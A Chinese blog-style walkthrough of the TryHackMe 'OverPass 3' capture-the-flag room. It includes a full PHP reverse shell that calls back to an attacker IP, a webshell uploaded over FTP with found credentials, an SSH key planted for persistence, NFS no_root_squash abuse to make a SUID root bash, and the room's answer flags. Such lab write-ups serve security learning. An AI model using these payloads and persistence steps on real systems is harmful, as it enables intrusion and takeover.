TryHackMe OverPass 3 - 全网最细
简介
这个是菜菜TiAmo的复现和学习日记,如果感觉不错点点关注和喜欢吧
文章目录
- TryHackMe OverPass 3 - 全网最细
- 简介
- 端口扫描
- web目录扫描
- FTP上传webshell
- webshell-linux提权
- user.flag----nfs映射
- 获取root权限
端口扫描
端口扫描发现这个IP开启了80,22 ,21端口我们先看看80web部分有啥
web目录扫描
这里我们发现使用的是apache说明有可能还是php作为后端语言写的,我们扫一下目录
还是比较难受的就是,只扫到了一个目录
目录里面的backup是一个下载页面,我们吧内容下载下来look一下
里面有一个加密文件和密钥
两份文件这个priv.key感觉是和密钥相关的
gpg --import priv.key
#通过执行这个命令,可以将指定的私钥导入到 GPG 的密钥环中,以便后续在加密、解密、签名等操作中使用该私钥
直接看这个发现上面那个密钥被销毁了已经过期了,but他在我们的目录出现了一个文件CustomerDetails.xlsx
我们打开发现出现了一些用户名和密码组合,但是我们没有他登陆的页面,我们看看他的ftp能不能进去
哎嗨,成功了账号paradox,密码ShibesAreGreat123
FTP上传webshell
这边我们发现,这个ftp可以登陆,but这个目录和web目录是同一目录,我们传一个webshell并用web服务打开
这边的webshell是再棱角社区复制的
棱角社区反弹shell网址:反弹shell生成器 (ywhack.com)
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.14.81.28';//填自己的ip
$port = 4242; //反弹shell的端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
传进去直接再web端打开就可以反弹shell,phpwebshell.php
webshell-linux提权
如果你使用的是虚拟机,那么你需要映射端口才能使用NC来连接
netsh interface portproxy add v4tov4 listenport=4242 listenaddress=0.0.0.0 connectport=4242 connectaddress=虚拟机IP
连接上我们这个只是简单的一个webshell不方便看,使用python打开一个方便的窗口
python3 -c 'import pty;pty.spawn("/bin/bash")'
题目上说了再web目录我们的用户ID是apache所以我们直接去用户根目录也就是 cd ~
查看目录得到web.flag
答案:thm{0ae72f7870c3687129f7a824194be09d}
user.flag----nfs映射
第二个题目上说需要user flag 我们看一下用户
这里我们都知道,新建一个用户会在/home目录下创建一个文件夹以这个用户命名,我们不知道james的密码但是我们知道paradox的
登陆到paradox中一顿翻找发现没啥东西
su paradox
//一定要使用python3 -c 'import pty;pty.spawn("/bin/bash")'否则不显示
那么东西就在James中,想办法提一下权限,网上的有一部分脚本可以使用,那么我们直接使用网上的脚本看看提权的方法
我们先创建一个ssh登陆结束我们的反向shell,防止抓包知道我们是如何攻击的,
查看authorized_keys 文件,这个文件写的是登陆的私钥,没有私钥
我们把自己的私钥添加进去
1.生成一个公钥和私钥
ssh keygen
将paradox.pub的私钥放在authorized_keys里面
切换到.ssh目录输入
这里要切换到被攻击机里面操作
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDjjnv6sEmdCSeAixSXlGTjLdP3IVxuWMY/YEc32CbD+ kali@LAPTOP-K5E81K5Q" >> authorized_keys
切换到攻击机kali登陆ssh -i paradox paradox@被攻击机IP
如果出现这个问题就是权限的问题,可以切换的root用户 输入 chmod 700 密钥文件名
密钥的权限是700 ,我们现在是0777所以需要改成700
我们将linpeas.sh通过ftp上传到服务器上并打开
这里网上的都是NFS,我自己试了一下sudo漏洞提权和linux的内核提权都以失败告终。那就跟着网上来吧谁让咱是菜菜那
╔══════════╣ Analyzing NFS Exports Files (limit 70)
Connected NFS Mounts:
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
-rw-r--r--. 1 root root 54 11月 18 2020 /etc/exports
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)#nfs默认目录是在/home/james的目录下那就是说user.flag是可能再这里的因为paradox这个用户没有。
#no_root_squash 选项也非常有趣,它基本上允许由 root 所有的文件保持其 root 权限。基本上,你的 root 就是我的 root,我的 root 就是你的 root。
kali机上执行,这样我们就的得到user.flag
ssh -fNL 2049:localhost:2049 -i id_rsa [email protected]
#要在id_rsa所在的目录
#在后台运行SSH,不执行任何远程命令,并将本地机器上的2049端口转发到远程机器(`10.10.74.207`)上的2049端口,使用`id_rsa`私钥进行身份验证,并以`paradox`用户身份连接到远程机器
#2049是 nfs的默认端口
make nfs4 #随便取个名字
mount -t nfs4 localhost:/ nfs4 #nfs映射的文件位置
cd nfs4
ls -la
总计 16
drwx------ 3 kali kali 112 2020年11月18日 .
drwxrwxrwx 1 kali kali 4096 5月21日 12:51 ..
lrwxrwxrwx 1 root root 9 2020年11月 9日 .bash_history -> /dev/null
-rw-r--r-- 1 kali kali 18 2019年11月 9日 .bash_logout
-rw-r--r-- 1 kali kali 141 2019年11月 9日 .bash_profile
-rw-r--r-- 1 kali kali 312 2019年11月 9日 .bashrc
drwx------ 2 kali kali 61 2020年11月 8日 .ssh
-rw------- 1 kali kali 38 2020年11月18日 user.flag
user.flag thm{3693fc86661faa21f16ac9508a43e1ae}
获取root权限
cp /bin/bash . #将/bin/bash复制过来
sudo chmod +rx .#将目前权限改为可写可执行,因为没有指定用户所以默认为所有用户
sudo chown root:root bash #./bash所有者被更改为root用户,并且所属组也被更改为root组
sudo chmod +s bash #bash将以文件所有者的权限运行,而不是执行该文件的用户的权限
ls -la #最后确认一遍
改完权限我们去paradox用户中去执行./bash来获取root权限
root.flag thm{a4f6adb70371a4bceb32988417456c44}